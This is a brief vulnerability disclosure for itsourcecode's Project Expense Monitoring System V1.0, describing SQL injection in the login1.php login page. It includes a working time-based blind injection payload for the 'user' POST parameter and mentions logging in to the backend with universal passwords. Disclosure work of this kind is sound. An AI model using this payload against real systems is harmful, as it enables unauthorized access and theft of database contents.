itsourcecode
Project Expense Monitoring System
V1.0
SQLi
On the login1.php login authentication page, attackers can construct SQL statements to obtain sensitive information from the database and use universal passwords to log in to the backend.
In the login1.php page, the database query is performed through the mysqli_query method, and the input username string is not filtered enough, which can prevent XSS attacks, but cannot prevent SQLi injection.
Parameter: user (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: user=admin' AND (SELECT 5289 FROM (SELECT(SLEEP(5)))cTae) AND 'rmay'='rmay&pass=123